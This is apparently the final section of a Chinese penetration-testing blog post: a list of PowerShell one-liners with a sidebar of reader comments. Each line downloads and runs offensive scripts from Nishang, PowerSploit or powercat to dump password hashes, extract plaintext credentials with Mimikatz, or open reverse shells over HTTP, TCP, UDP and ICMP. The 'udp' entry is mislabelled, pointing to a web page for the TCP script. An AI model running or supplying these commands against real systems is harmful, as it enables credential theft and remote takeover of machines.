4.1.获取hash

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

4.2.获取明文---Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 

4.3 nc---powercat

 

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

4.4----各种反弹shell

http:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

tcp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

udp:

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

icmp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

 

来源:

https://github.com/samratashok/nishang

================================

 

5.结尾

资料来源:

https://github.com/samratashok/nishang/

http://x0day.me/

http://zone.wooyun.org/content/20429

分类
最新文章
最近回复
  • 没穿底裤: 最近发现的新版本可以装在LINUX了。但是API有点变化
  • 没穿底裤: 暂时好像没有看到这个功能.
  • 没穿底裤: 这个只是一个分析,并不是使用方法哟
  • 没穿底裤: 抱歉,很久没有打理了。会不会你使用的是12版本。目前还没有遇到过这种情况
  • bao song: http://0cx.cc/php_decode_shell.jspx 这个怎么用,代码提示...